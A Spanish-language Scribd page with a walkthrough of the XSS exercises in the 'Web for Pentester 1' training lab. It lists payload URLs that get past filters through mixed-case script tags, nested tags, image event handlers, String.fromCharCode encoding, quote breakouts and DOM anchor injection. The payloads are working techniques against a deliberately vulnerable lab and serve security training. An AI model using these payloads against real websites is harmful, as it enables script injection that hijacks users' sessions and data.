0% encontró este documento útil (0 votos)
20 vistas2 páginas

XSS - Vulnerabilidades Cross-Site Scripting

El documento detalla diversas técnicas para explotar vulnerabilidades de Cross-Site Scripting (XSS) utilizando ejemplos prácticos. Se presentan métodos para evadir filtros de seguridad, como la manipulación de etiquetas HTML y el uso de funciones JavaScript alternativas. Además, se abordan diferentes vectores de ataque, incluyendo inyecciones en URLs y ataques basados en el DOM.
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como DOCX, PDF, TXT o lee en línea desde Scribd
0% encontró este documento útil (0 votos)
20 vistas2 páginas

XSS - Vulnerabilidades Cross-Site Scripting

El documento detalla diversas técnicas para explotar vulnerabilidades de Cross-Site Scripting (XSS) utilizando ejemplos prácticos. Se presentan métodos para evadir filtros de seguridad, como la manipulación de etiquetas HTML y el uso de funciones JavaScript alternativas. Además, se abordan diferentes vectores de ataque, incluyendo inyecciones en URLs y ataques basados en el DOM.
Derechos de autor
© © All Rights Reserved
Nos tomamos en serio los derechos de los contenidos. Si sospechas que se trata de tu contenido, reclámalo aquí.
Formatos disponibles
Descarga como DOCX, PDF, TXT o lee en línea desde Scribd
Está en la página 1/ 2

Web for Pentester 1

Primera parte XSS - vulnerabilidades Cross-Site Scripting

1. Tenemos el enlace:

http://pentesterlab/xss/example1.php?name=hacker

en vez de pentesterlab puede ir la ip, Ej: 192.168.0.104


primeramente podemos cambiar el name=xxxx y se visualiza en la página, pero para saltar la
vulnerabilidad introducimos el código, seguido del link:

<script>alert('Hackplayers')</script>

Quedaría: http://pentesterlab/xss/example1.php?name=hacker<script>alert('Hackplayers')</
script>

con lo cual salta un mensaje emergente con el contenido seguido de alert('xxxxxxxx')

2. Teniendo el mismo enlace para toda la primera parte:


http://pentesterlab/xss/example1.php?name=hacker

Si inyectamos el payload anterior veremos que ‘<script>’ y ‘</script>’ son filtrados, pero basta
poner una letra de cada tag en mayúsculas para evadir este débil filtro:

http://pentesterlab/xss/example2.php?name=hacker<SCript>alert('Hackeado')</SCript>
con lo cual salta un mensaje emergente con el contenido seguido de alert('xxxxxxxx')

3. Si se eliminan las tags que contienen ‘script’ podemos aprovechar esto para que el
filtro nos haga el trabajo:
http://pentesterlab/xss/example3.php?name=hacker<scri<script>pt>alert('xss')</scri</script>pt>
con lo cual salta un mensaje emergente con el contenido seguido de alert('xxxxxxxx')

4. Normalmente es debido a que ya no está realizando un replace, si no que esta vez


busca el patrón “script” y si lo encuentra devuelve el error (una condición if).
Pero como no todas las XSS son explotables mediante esa tag, podemos usar cualquier otro
vector para ejecutar javascript, por ejemplo:
http://pentesterlab/xss/example4.php?name=<img src='nonexistant' onerror='alert('xxxxx')'/>
Variante
http://pentesterlab/xss/example4.php?name=<img src="nonexistant" onmouseover='alert('xxxxx')'/>
Saltara el mensaje alerta cada vez que pase el mouse sobre la imagen.

5. En esta ocasión la palabra filtrada es ‘alert’ así que tenemos que


sustituirla por otra función, por ejemplo eval(String.fromCharCode())
que convertirá de decimal a ASCII los caracteres necesarios
evadiendo la función preg_match...
http://pentesterlab/xss/example5.php?name=<script>eval(String.fromCharCode(97, 108, 101,
114, 116, 40, 39, 120, 115, 115, 39, 41))</script>
Básicamente los números son el alert pero de manera encodeada

6. Para este caso ya tiene filtrado los términos script y alert, pero da resultado mediante
lo siguiente:
http://pentesterlab/xss/example6.php?name=hacker";alert('xss');"
7. vemos que se están codificando los caracteres especiales y no podemos usar la comilla
doble ("). Probablemente es porque se están empezando a utilizar funciones
destinadas a la protección contra XSS.
http://pentesterlab/xss/example7.php?name=hacker';alert('xss');'

8. El ejercicio 8 difiere ya un poco del resto y presenta un formulario (método POST)

Sin importar lo que anotemos en el textbox aparecerá arriba del mismo, por lo que inyectamos
en la url del modo siguiente:
http://pentesterlab/xss/example8.php/"><script>alert('xss')</script>

9. El último ejercicio es un XSS basado en DOM. El javascript existente


está buscando el ancla o anchor # para escribir la url dentro de la
página. Podemos explotar esto poniendo el payload xss dentro de la
url después del anchor.
http://pentesterlab/xss/example9.php#hacker12333<script>alert('1')</script>

También podría gustarte